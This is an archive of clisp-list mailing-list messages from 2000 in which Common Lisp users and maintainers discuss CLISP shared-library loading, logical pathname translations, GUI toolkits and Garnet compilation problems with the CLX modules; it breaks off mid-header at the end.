Fri, 28 Apr 2000 06:18:17 -0700 From: Matthias.Lindner@MANIC-GmbH.de Received: (from lindner@localhost) by algol.manic-gmbh.de (8.9.3/8.9.3) id PAA07580; Fri, 28 Apr 2000 15:10:02 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14601.36266.159936.874342@algol.manic-gmbh.de> Date: Fri, 28 Apr 2000 15:10:02 +0200 (CEST) To: clisp-list@lists.sourceforge.net CC: emarsden@mail.dotcom.fr, kaasen@nvg.ntnu.no Subject: Re: [clisp-list] Using dll In-Reply-To: References: X-Mailer: VM 6.72 under 21.2 (beta19) "Shinjuku" XEmacs Lucid Reply-To: Matthias.Lindner@MANIC-GmbH.de Eric Marsden wrote: > >>>>> "dk" == David Kaasen writes: > > dk> How can I call dynamic library routines from CLISP? I also need > dk> to access variables in the library. The program runs on both > dk> Unix and Windows, so there is an .so and a .dll library version, > dk> but I assume that makes no difference concerning lisp? > > unfortunately CLISP is not currently able to load shared libraries, At least for Linux this is not true. Look at impnotes.html, search for "--with-dynamic-modules". --Matthias ------------------------------------------------------------------------------ Matthias Lindner, MANIC GmbH, Ben-Gurion-Ring 164, 60437 Frankfurt Tel: 069 90505634, Mobil: 0172 6807873, E-Mail: Matthias.Lindner@MANIC-GmbH.de ------------------------------------------------------------------------------ From crueda@atlas.puj.edu.co Tue May 2 14:38:31 2000 Received: from atlas.ujavcali.edu.co (IDENT:root@[200.32.81.135]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id OAA23190 for ; Tue, 2 May 2000 14:38:15 -0700 Received: from atlas.puj.edu.co (crueda@ocarina.puj.edu.co [172.16.12.3]) by atlas.ujavcali.edu.co (8.8.7/8.8.7) with ESMTP id RAA15695 for ; Tue, 2 May 2000 17:02:23 -0500 Sender: crueda@atlas.ujavcali.edu.co Message-ID: <390F3B6C.C7CF1806@atlas.puj.edu.co> Date: Tue, 02 May 2000 16:32:44 -0400 From: camilo rueda Organization: universidad javeriana-Cali X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.15pre3 ppc) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] installing clisp in a powermac I have tried to install clisp-2000-03-06 on a powermac running Redhat Linux.. configure gives the error: "trampoline_r/cache-rs6000-sysv4.o: No such file or directory". Indeed, the file isn't there. If I ignore the message and install clisp everything seems to work fine (I even compiled Garnet), except that there seems to be no FFI package so, for example, clg-050 wouldn't compile. Is there a way to fix this? Camilo Rueda crueda@atlas.puj.edu.co From donc@isis.compsvcs.com Wed May 3 23:54:52 2000 Received: from isis.compsvcs.com. (cine-dyrad.cinenet.net [198.147.117.71] (may be forged)) by lists.sourceforge.net (8.9.3/8.9.3) with SMTP id XAA17637 for ; Wed, 3 May 2000 23:54:52 -0700 Received: by isis.compsvcs.com. (SMI-8.6/SMI-SVR4) id XAA00879; Wed, 3 May 2000 23:56:55 -0700 Date: Wed, 3 May 2000 23:56:55 -0700 Message-Id: <200005040656.XAA00879@isis.compsvcs.com.> From: donc@compsvcs.com (Don Cohen) To: clisp-list@lists.sourceforge.net Subject: [clisp-list] logical pathnames in clisp 2000-03-06 ? Am I doing something wrong or are logical pathnames still not working? uname -a SunOS isis.compsvcs.com 5.5.1 Generic sun4m sparc SUNW,SPARCstation-5 [1]> (lisp-implementation-version) "2000-03-06 (March 2000)" [2]> (logical-pathname-translations "sys") ((#S(LOGICAL-PATHNAME :HOST "SYS" :DEVICE NIL :DIRECTORY (:RELATIVE) :NAME :WILD :TYPE "LISP" :VERSION NIL ) "*.lsp" ) (#S(LOGICAL-PATHNAME :HOST "SYS" :DEVICE NIL :DIRECTORY (:ABSOLUTE) :NAME :WILD :TYPE :WILD :VERSION NIL ) "*.*" ) (#S(LOGICAL-PATHNAME :HOST "SYS" :DEVICE NIL :DIRECTORY (:ABSOLUTE) :NAME :WILD :TYPE NIL :VERSION NIL ) "*" ) ) [3]> (translate-logical-pathname "sys:foo.bar") *** - TRANSLATE-PATHNAME: replacement pieces ("foo" "bar" NIL) do not fit into #P"*.*" 1. Break [4]> (setf (logical-pathname-translations "Don") '((";**;*.*" "/export/home/donc/lisp/") ("**;*.*" "/export/home/donc/lisp/"))) ((#S(LOGICAL-PATHNAME :HOST "DON" :DEVICE NIL :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME :WILD :TYPE :WILD :VERSION NIL ) "/export/home/donc/lisp/" ) (#S(LOGICAL-PATHNAME :HOST "DON" :DEVICE NIL :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE :WILD :VERSION NIL ) "/export/home/donc/lisp/" ) ) 1. Break [4]> (translate-logical-pathname "don:foo.bar") *** - TRANSLATE-PATHNAME: replacement pieces ((:DIRECTORY) "foo" "bar" NIL) do not fit into #P"/export/home/donc/lisp/" 2. Break [5]> From sds@gnu.org Tue May 9 11:14:50 2000 Received: from sanpietro.red-bean.com (sanpietro.red-bean.com [206.69.89.65]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id LAA29541 for ; Tue, 9 May 2000 11:14:50 -0700 Received: from ksp.com.ksp.com (centurion3.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id NAA03566 for ; Tue, 9 May 2000 13:14:21 -0500 To: clisp-list@lists.sourceforge.net Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Date: 09 May 2000 14:12:46 -0400 Message-ID: Lines: 17 Subject: [clisp-list] GUI in CLISP The survey (http://sourceforge.net/survey/?group_id=1355) indicates that people miss GUI building in CLISP. An easy way to build a gui-enabled application in CLISP is to use your browser. Please see src/cllib/inspect.lisp (ftp://cellar.goems.com/pub/clisp/cllib.zip) in CLOCC (http://clocc.sourceforge.net) which implements a GUI inspector using http interface to the browser. While clearly not the best solution, this approach has certain advantages (simplicity, platform-independence). -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. Bill Gates is great, as long as `bill' is a verb. From amoroso@mclink.it Wed May 10 07:56:30 2000 Received: from mail1.mclink.it (net128-007.mclink.it [195.110.128.7]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id HAA14822 for ; Wed, 10 May 2000 07:56:28 -0700 Received: from net145-028.mclink.it (net145-028.mclink.it [195.110.145.28]) by mail1.mclink.it (8.9.1/8.9.0) with SMTP id QAA27032 for ; Wed, 10 May 2000 16:55:49 +0200 (CEST) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] GUI in CLISP Date: Wed, 10 May 2000 16:55:36 +0200 Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: In-Reply-To: X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit On 09 May 2000 14:12:46 -0400, Sam Steingold wrote: > The survey (http://sourceforge.net/survey/?group_id=1355) indicates that > people miss GUI building in CLISP. A possible option is SLIK. It is a CLOS-based user interface toolkit, providing a thin abstraction layer over CLX, that is part of PRISM, a radiation therapy planning system developed at Washington University. The PRISM Web site is: http://www.radonc.washington.edu/medinfo/prism/ The source code and documentation of SLIK are available at: ftp://ftp.radonc.washington.edu:/dist/slik/ Although it was originally developed for Allegro CL, SLIK compiles out of the box with CMU CL. When I tried it with CLISP, it had some problems but I felt it was close to working. But I had no time to investigate further. The main advantages of SLIK are: - ease of use - limited footprint A few disadvantages: - widgets don't look "sexy" - only basic widgets are available - I was unable to find an explicit distribution license and it's not clear under what conditions SLIK may be freely used. The system was developed at an academic institution with funds also coming from commercial companies and other institutions. Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/ From haible@honolulu.ilog.fr Wed May 10 09:56:40 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id JAA21418 for ; Wed, 10 May 2000 09:56:39 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id SAA01133 for ; Wed, 10 May 2000 18:52:29 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.49]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id SAA23652 for ; Wed, 10 May 2000 18:55:34 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id RAA01122; Wed, 10 May 2000 17:22:47 +0200 From: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14617.32455.679777.536739@honolulu.ilog.fr> Date: Wed, 10 May 2000 17:22:47 +0200 (CEST) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] GUI in CLISP In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sam Steingold writes: > While clearly not the best solution, this approach has certain > advantages (simplicity, platform-independence). Another approach would be to look at {sip,PyQt,PyKDE}-0.11.1 and see whether we can do the same thing for clisp. Bruno From tl@weenie.inesc.pt Wed May 10 10:11:36 2000 Received: from weenie.inesc.pt (weenie.inesc.pt [146.193.0.232]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id KAA21939 for ; Wed, 10 May 2000 10:11:34 -0700 Received: from localhost.localdomain (IDENT:root@hebb [172.16.1.200]) by weenie.inesc.pt (8.9.3/8.9.3) with ESMTP id SAA17923; Wed, 10 May 2000 18:10:46 +0100 Received: from hebb (IDENT:tl@localhost.localdomain [127.0.0.1]) by localhost.localdomain (8.9.3/8.9.3) with ESMTP id SAA26703; Wed, 10 May 2000 18:10:46 +0100 Message-Id: <200005101710.SAA26703@localhost.localdomain> X-Mailer: exmh version 2.0.3 To: sds@gnu.org cc: clisp-list@lists.sourceforge.net, tl@weenie.inesc.pt Reply-To: thibault.langlois@inesc.pt Subject: Re: [clisp-list] GUI in CLISP; problem compiling Garnet... In-reply-to: Your message of "09 May 2000 14:12:46 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 10 May 2000 18:10:46 +0100 From: Thibault Langlois About GUI and CLISP... I have a problem compiling garnet with clisp-2000-03-09. I am using the original garnet source found in the garnet project web page. I have looked at the garnet30.clisp.tar.gz files. The visible difference between that version and the original one is the file extension (.lsp vs .lisp) which is no longer a problem for clisp. Another change is the renaming of the lisp and user packages that is done in the garnet-loader.lisp file. I have made that change and use the original garnet source. I am sending this message to this list because I think the problem is a clisp problem, not a garnet problem. After loading garnet-prepare-compile.lisp and garnet-loader.lisp I start the compilation loading the garnet-compile.lisp Compilation runs fine during some time until I get the folowing error: [many many lines deleted...] Compiling file /usr/local/src/garnet-3.0/src/gadgets/save-gadget.lisp ... Object SAVE-GADGET Compilation of file /usr/local/src/garnet-3.0/src/gadgets/save-gadget.lisp is finished. 0 errors, 0 warnings Loading #P"/usr/local/src/garnet-3.0/src/gadgets/save-gadget" ;; Loading file /usr/local/src/garnet-3.0/src/gadgets/save-gadget.fas ... *** - LISP-RENAMED-BY-GARNET:MAKE-ENCODING: illegal :OUTPUT-ERROR-ACTION argument 33961 1. Break GG[5]> The save-gadget file is compiled without problems. The error occurs when the compiled file is loaded. The make-encoding function is not called in the garnet code (that's why I think it is a problem with clisp) impnotes.html says: The :output-error-action specifies what happens when an invalid character is encountered while converting characters to bytes. Its value can be :error, :ignore, a byte to be used instead, or a character to be used instead. The Unicode character #\uFFFD can be used here only if it is encodable in the character set. So the argument 33961 is indeed invalid. But as I don't know where the function was called, I don't understand what goes wrong. Anybody can help me ? Thanks for your time. Thibault Langlois PS: I use : (lisp-implementation-version) -> "2000-03-09 (March 2000)" with new-clx module on a gnu/linux RedHat 6.0 system (intel) From amoroso@mclink.it Thu May 11 12:09:35 2000 Received: from mail1.mclink.it (net128-007.mclink.it [195.110.128.7]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id MAA30195 for ; Thu, 11 May 2000 12:09:34 -0700 Received: from net145-002.mclink.it (net145-002.mclink.it [195.110.145.2]) by mail1.mclink.it (8.9.1/8.9.0) with SMTP id VAA10845 for ; Thu, 11 May 2000 21:08:54 +0200 (CEST) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] GUI in CLISP; problem compiling Garnet... Date: Thu, 11 May 2000 21:08:39 +0200 Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: <200005101710.SAA26703@localhost.localdomain> In-Reply-To: <200005101710.SAA26703@localhost.localdomain> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit On Wed, 10 May 2000 18:10:46 +0100, Thibault Langlois wrote: > I have a problem compiling garnet with clisp-2000-03-09. > I am using the original garnet source found in the garnet project web page. Fred Gilham maintains an unofficial Garnet distribution to which he applies all patches he can get his hands on. That distribution is more up to date than the one available at the Garnet project site. Fred's distribution is unlikely to solve your problem, but you may want to check it anyway: ftp://ftp.csl.sri.com/pub/users/gilham/garnet/ Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/ From amoroso@mclink.it Sat May 13 12:56:34 2000 Received: from mail1.mclink.it (net128-007.mclink.it [195.110.128.7]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id MAA00386 for ; Sat, 13 May 2000 12:56:32 -0700 Received: from net145-123.mclink.it (net145-123.mclink.it [195.110.145.123]) by mail1.mclink.it (8.9.1/8.9.0) with SMTP id VAA06106 for ; Sat, 13 May 2000 21:55:42 +0200 (CEST) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Date: Sat, 13 May 2000 21:55:23 +0200 Organization: Paolo Amoroso - Milan, ITALY Message-ID: <6rIdORcBCuVCcdsSVhnXxhQW8qp1@4ax.com> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Looking for bits of history I would appreciate it if the CLISP authors or maintainers could tell something about its history, e.g. when and how the project was started and by whom, what were its design goals, the major implementation challenges, etc. I'm just curious. Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/ From Bernard.Urban@meteo.fr Mon May 15 02:34:36 2000 Received: from cadillac.meteo.fr (cadillac.meteo.fr [137.129.1.4]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id CAA03866 for ; Mon, 15 May 2000 02:34:10 -0700 Received: from goudurix.meteo.fr (goudurix.meteo.fr [137.129.26.22]) by cadillac.meteo.fr (8.9.3/8.9.3) with ESMTP id JAA23279 for ; Mon, 15 May 2000 09:32:23 GMT Received: (from bernard@localhost) by goudurix.meteo.fr (8.8.8+Sun/8.8.8) id JAA11596; Mon, 15 May 2000 09:29:00 GMT Date: Mon, 15 May 2000 09:29:00 GMT Message-Id: <200005150929.JAA11596@goudurix.meteo.fr> X-Authentication-Warning: goudurix.meteo.fr: bernard set sender to bernard@goudurix using -f From: bernard URBAN To: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] GUI in CLISP; problem compiling Garnet... Thibault Langlois writes: >>> About GUI and CLISP... >>> I have a problem compiling garnet with clisp-2000-03-09. >>> I am using the original garnet source found in the garnet project web page. >>> I have looked at the garnet30.clisp.tar.gz files. The visible >>> difference between that version and the original one is the file >>> extension (.lsp vs .lisp) which is no longer a problem for >>> clisp. Another change is the renaming of the lisp and user packages >>> that is done in the garnet-loader.lisp file. I have made that change >>> and use the original garnet source. >>> I am sending this message to this list because I think the problem is >>> a clisp problem, not a garnet problem. [...] >>> Anybody can help me ? >>> Thanks for your time. >>> Thibault Langlois >>> PS: I use : >>> (lisp-implementation-version) -> "2000-03-09 (March 2000)" >>> with new-clx module on a gnu/linux RedHat 6.0 system (intel) ^^^^^^^ This may be your problem. With mit-clx, I can compile and load Garnet without problem. -- B. Urban From emarsden@laas.fr Mon May 15 03:38:09 2000 Received: from laas.laas.fr (root@laas.laas.fr [140.93.0.15]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id DAA04919 for ; Mon, 15 May 2000 03:37:18 -0700 Received: from dukas.laas.fr (dukas [140.93.21.58]) by laas.laas.fr (8.9.3/8.9.3) with ESMTP id MAA16647 for ; Mon, 15 May 2000 12:35:25 +0200 (MET DST) Received: (from emarsden@localhost) by dukas.laas.fr (8.9.3/8.9.3) id MAA02431; Mon, 15 May 2000 12:35:24 +0200 (MET DST) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] GUI in CLISP; problem compiling Garnet... References: <200005150929.JAA11596@goudurix.meteo.fr> Organization: LAAS-CNRS http://www.laas.fr/ MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Eric-Conspiracy: there is no conspiracy X-Attribution: ecm X-URL: http://www.chez.com/emarsden/ From: Eric Marsden Date: 15 May 2000 12:35:24 +0200 In-Reply-To: bernard URBAN's message of "Mon, 15 May 2000 09:29:00 GMT" Message-ID: Lines: 42 X-Mailer: Gnus v5.7/Emacs 20.4 >>>>> "bu" == bernard URBAN writes: tl> (lisp-implementation-version) -> "2000-03-09 (March 2000)" tl> with new-clx module on a gnu/linux RedHat 6.0 system (intel) bu> This may be your problem. With mit-clx, I can compile and load bu> Garnet without problem. actually, I have the opposite problem: Garnet more-or-less works with nclx but not at all with mit-clx. Here is a message I sent here in March: ----------------------------------------------------------------------- It doesn't work correctly with CLISP: with nclx it seems to miss some refresh events (windows sometimes stay undrawn), and the logo in the demos section doesn't display in color. It doesn't work at all with mit-clx (nor indeed do basic CLX demos): there are problems with setf functions being hidden by setf-expanders: when loading garnet: WARNING: The function (SETF XLIB:GCONTEXT-FUNCTION) is hidden by a SETF expander. WARNING: The function (SETF XLIB:GCONTEXT-FOREGROUND) is hidden by a SETF expander. WARNING: The function (SETF XLIB:GCONTEXT-BACKGROUND) is hidden by a SETF expander. [...] then when running: *** - FUNCALL: the function #:|(SETF XLIB:WINDOW-PLIST)| is undefined I think the problem is in the mit-clx/depdefs.lsp:def-clx-class macro, which seems to be emulating CLOS with structures, but it's too hairy for me to understand. [CLISP 2000-03-06 and garnet-3.0.clisp] -- Eric Marsden From tl@weenie.inesc.pt Mon May 15 06:43:22 2000 Received: from weenie.inesc.pt (weenie.inesc.pt [146.193.0.232]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id GAA09898 for ; Mon, 15 May 2000 06:42:53 -0700 Received: from localhost.localdomain (IDENT:root@exotica [172.16.3.113]) by weenie.inesc.pt (8.9.3/8.9.3) with ESMTP id OAA06676; Mon, 15 May 2000 14:41:22 +0100 Received: from localhost.localdomain (IDENT:tl@localhost.localdomain [127.0.0.1]) by localhost.localdomain (8.9.3/8.9.3) with ESMTP id OAA02541; Mon, 15 May 2000 14:41:22 +0100 Message-Id: <200005151341.OAA02541@localhost.localdomain> X-Mailer: exmh version 2.0.3 To: Eric Marsden cc: clisp-list@lists.sourceforge.net, garnet-users@cs.cmu.edu Reply-To: thibault.langlois@inesc.pt Subject: Re: [clisp-list] GUI in CLISP; problem compiling Garnet... In-reply-to: Your message of "15 May 2000 12:35:24 +0200." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 15 May 2000 14:41:22 +0100 From: Thibault Langlois I'm glad to see I am not the only one to use garnet these days...! | >>>>> "bu" == bernard URBAN writes: | | tl> (lisp-implementation-version) -> "2000-03-09 (March 2000)" | tl> with new-clx module on a gnu/linux RedHat 6.0 system (intel) | | bu> This may be your problem. With mit-clx, I can compile and load | bu> Garnet without problem. | | actually, I have the opposite problem: Garnet more-or-less works with | nclx but not at all with mit-clx. Here is a message I sent here in | March: | | ----------------------------------------------------------------------- | It doesn't work correctly with CLISP: with nclx it seems to miss some | refresh events (windows sometimes stay undrawn), and the logo in the | demos section doesn't display in color. It doesn't work at all with ^^^^^^^^^^^^^^^^^^^^^^^^ This may be caused by a problem with "true-color" screen support. This problem is fixed in Fred Gilham 's version (thanks to Paolo for this information. It did not solved my problem with clisp but it did solve the color problem.) url: ftp://ftp.csl.sri.com/pub/users/gilham/garnet/ In this version (maybe it should be called garnet-3.0.x) the pixmap problem is partially solved. Garnet was not able to load pixmaps with depth > 8. Now It displays correctly the first half of the pixmap! | mit-clx (nor indeed do basic CLX demos): there are problems with setf | functions being hidden by setf-expanders: Actually I am using garnet with allegro, this was my first try with nclx/clisp. I will try mit-clx and see if I get the same problem. | | when loading garnet: | | WARNING: | The function (SETF XLIB:GCONTEXT-FUNCTION) is hidden by a SETF expander. | WARNING: | The function (SETF XLIB:GCONTEXT-FOREGROUND) is hidden by a SETF expander. | WARNING: | The function (SETF XLIB:GCONTEXT-BACKGROUND) is hidden by a SETF expander. | [...] | | then when running: | | *** - FUNCALL: the function #:|(SETF XLIB:WINDOW-PLIST)| is undefined | | | I think the problem is in the mit-clx/depdefs.lsp:def-clx-class macro, | which seems to be emulating CLOS with structures, but it's too hairy | for me to understand. | Thibault Langlois From amoroso@mclink.it Mon May 15 12:13:49 2000 Received: from mail1.mclink.it (net128-007.mclink.it [195.110.128.7]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id MAA32658 for ; Mon, 15 May 2000 12:13:42 -0700 Received: from net145-018.mclink.it (net145-018.mclink.it [195.110.145.18]) by mail1.mclink.it (8.9.1/8.9.0) with SMTP id VAA29163 for ; Mon, 15 May 2000 21:12:43 +0200 (CEST) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] GUI in CLISP; problem compiling Garnet... Date: Mon, 15 May 2000 21:12:22 +0200 Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: <200005150929.JAA11596@goudurix.meteo.fr> In-Reply-To: <200005150929.JAA11596@goudurix.meteo.fr> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit On Mon, 15 May 2000 09:29:00 GMT, bernard URBAN wrote: > Thibault Langlois writes: [...] > >>> with new-clx module on a gnu/linux RedHat 6.0 system (intel) > ^^^^^^^ > > This may be your problem. With mit-clx, I can compile and load Garnet > without problem. One of the main design goals of NCLX was Garnet compatibility. Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/ From sds@gnu.org Thu May 18 11:07:45 2000 Received: from sanpietro.red-bean.com (sanpietro.red-bean.com [206.69.89.65]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id LAA14779 for ; Thu, 18 May 2000 11:07:43 -0700 Received: from ksp.com.ksp.com (centurion3.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id NAA28662 for ; Thu, 18 May 2000 13:06:30 -0500 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] logical pathnames in clisp 2000-03-06 ? References: <200005040656.XAA00879@isis.compsvcs.com.> Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Don Cohen's message of "Thu May 04 01:49:47 EDT 2000" Date: 18 May 2000 14:04:43 -0400 Message-ID: Lines: 30 X-Mailer: Gnus v5.7/Emacs 20.6 >>>> In message <200005040656.XAA00879@isis.compsvcs.com.> >>>> On the subject of "[clisp-list] logical pathnames in clisp 2000-03-06 ?" >>>> Sent on Thu May 04 01:49:47 EDT 2000 >>>> Honorable Don Cohen writes: >> Am I doing something wrong or are logical pathnames still not working? >> >> [2]> (logical-pathname-translations "sys") I don't know why CLISP defines this logical host. (the only reason I could see is to make "LISP" equivalent to "lisp" as filename extensions.) Bruno? >> [4]> (setf (logical-pathname-translations "Don") >> '((";**;*.*" "/export/home/donc/lisp/") >> ("**;*.*" "/export/home/donc/lisp/"))) your fault, it should be (setf (logical-pathname-translations "Don") '(("**;*.*" "/export/home/donc/lisp/**/*"))) (I don't know what the leading ';' is for, but I am not a logical pathname expert). -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. All extremists should be taken out and shot. From don@baja.nichimen.com Thu May 18 11:20:55 2000 Received: from baja.nichimen.com (baja.nichimen.com [204.31.88.62]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id LAA15494 for ; Thu, 18 May 2000 11:20:55 -0700 Received: from santorini (santorini [204.31.88.209]) by baja.nichimen.com (8.9.3/8.9.3) with SMTP id LAA07723; Thu, 18 May 2000 11:19:45 -0700 (PDT) Received: by santorini (950413.SGI.8.6.12//ident-1.0) id LAA09106; Thu, 18 May 2000 11:19:45 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Thu, 18 May 2000 11:19:45 -0700 (PDT) From: don@nichimen.com (Don Cohen) To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] logical pathnames in clisp 2000-03-06 ? In-Reply-To: References: <200005040656.XAA00879@isis.compsvcs.com.> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14628.13035.859082.764562@santorini> >> [4]> (setf (logical-pathname-translations "Don") >> '((";**;*.*" "/export/home/donc/lisp/") >> ("**;*.*" "/export/home/donc/lisp/"))) your fault, it should be (setf (logical-pathname-translations "Don") '(("**;*.*" "/export/home/donc/lisp/**/*"))) Well, what I should have written in this case was /export/.../lisp/*.* I was HOPING to ignore the **, i.e., don:foo.bar and don:x;y;z;foo.bar both translate to /export/.../lisp/foo.bar Similarly, I'd like to be able to leave out the *.*, as in /export/.../lisp/foo in which case the filename and extension would also not matter. Or even /export/.../lisp/*.lsp or fum.* in order to get foo.bar to translate to foo.lsp or fum.bar ! Does this make sense? (I don't know what the leading ';' is for, but I am not a logical pathname expert). The leading ; is to allow for translations of relative paths. From haible@ilog.fr Thu May 18 11:41:35 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id LAA16662 for ; Thu, 18 May 2000 11:41:35 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id UAA21184 for ; Thu, 18 May 2000 20:36:45 +0200 (MET DST) Received: from oberkampf.ilog.fr ([172.17.4.115]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id UAA11719; Thu, 18 May 2000 20:39:52 +0200 (MET DST) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id UAA09923; Thu, 18 May 2000 20:39:51 +0200 (MET DST) Date: Thu, 18 May 2000 20:39:51 +0200 (MET DST) Message-Id: <200005181839.UAA09923@oberkampf.ilog.fr> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] logical pathnames in clisp 2000-03-06 ? In-Reply-To: References: <200005040656.XAA00879@isis.compsvcs.com.> Sam writes: > >> Am I doing something wrong or are logical pathnames still not working? > >> > >> [2]> (logical-pathname-translations "sys") > > I don't know why CLISP defines this logical host. (the only reason I > could see is to make "LISP" equivalent to "lisp" as filename > extensions.) > Bruno? CLtL2 and CLHS say The logical pathname host name "SYS" is reserved for the implementation. The existence and meaning of SYS: logical pathnames is implementation- defined. I thought it was good style to define such a logical host; at least it makes it possible to test something :-) > (I don't know what the leading ';' is for, but I am not a logical > pathname expert). "If a semicolon precedes the directories, the directory component is relative; otherwise it is absolute." Bruno From haible@ilog.fr Thu May 18 11:46:12 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id LAA17034 for ; Thu, 18 May 2000 11:46:11 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id UAA21242 for ; Thu, 18 May 2000 20:41:19 +0200 (MET DST) Received: from oberkampf.ilog.fr ([172.17.4.115]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id UAA11912; Thu, 18 May 2000 20:44:27 +0200 (MET DST) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id UAA09975; Thu, 18 May 2000 20:44:26 +0200 (MET DST) Date: Thu, 18 May 2000 20:44:26 +0200 (MET DST) Message-Id: <200005181844.UAA09975@oberkampf.ilog.fr> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] logical pathnames in clisp 2000-03-06 ? In-Reply-To: <14628.13035.859082.764562@santorini> References: <200005040656.XAA00879@isis.compsvcs.com.> <14628.13035.859082.764562@santorini> Don Cohen writes: > it should be > > (setf (logical-pathname-translations "Don") > '(("**;*.*" "/export/home/donc/lisp/**/*"))) > > Well, what I should have written in this case was /export/.../lisp/*.* > I was HOPING to ignore the **, i.e., don:foo.bar and don:x;y;z;foo.bar > both translate to /export/.../lisp/foo.bar It doesn't work this way in clisp, because throwing away wild directory components doesn't seem useful to me. (Imagine all index.html files on your preferred webserver being copied to a single place...) Bruno From sds@gnu.org Thu May 18 